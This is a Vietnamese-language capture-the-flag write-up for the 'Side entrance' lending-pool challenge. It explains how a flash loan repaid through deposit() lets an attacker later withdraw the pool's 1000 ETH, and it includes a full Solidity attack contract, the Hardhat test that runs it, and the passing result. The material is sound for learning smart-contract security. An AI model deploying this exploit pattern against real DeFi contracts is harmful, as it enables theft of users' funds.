Challenge #4 - Side entrance
Nhiệm vụ: có một lending pool cho phép deposit và withdraw ETH tại bất cứ thời điểm nào. Trong pool chứa 1000 ETH, và cho phép thực hiện flash loan free. Mục tiêu của ta là lấy hết ETH trong pool.
Phân tích
Để hoàn trả tiền flash loan, contract vay cần thực hiện hàm execute
:
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
ta nhận thấy rằng, để gửi tiền cho contract, ta có 2 cách, một là gửi trực tiếp cho contract, hai là gửi thông qua hàm deposit
để ta có thể rút ra sau này
function deposit() external payable {
balances[msg.sender] += msg.value;
}
Do đó ta nảy sinh kịch bản như sau:
- tiến hành flashloan 1000 ETH
- trả tiền lại cho pool bằng hàm
deposit
- tiến hành
withdraw
và gửi tiền cho attacker
Exploit
Ta sử dụng một contract để tiến hành flash loan như sau:
contract RektSideEntrance {
SideEntranceLenderPool pool;
constructor(address poolAddress) {
pool = SideEntranceLenderPool(poolAddress);
}
function rekt() external payable {
pool.flashLoan(1000 ether);
}
function execute() external payable {
pool.deposit{value: 1000 ether}();
}
function withdraw() external {
pool.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
}
Tiến hành deploy, thực hiện flash loan và sau đó withdraw:
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const RektSideEntrance = await ethers.getContractFactory(
"RektSideEntrance",
attacker
);
this.rekt = await RektSideEntrance.deploy(this.pool.address);
await this.rekt.connect(attacker).rekt();
await this.rekt.connect(attacker).withdraw();
});
Check lại kết quả
[Challenge] Side entrance
✓ Exploit (121ms)
1 passing (935ms)
All done!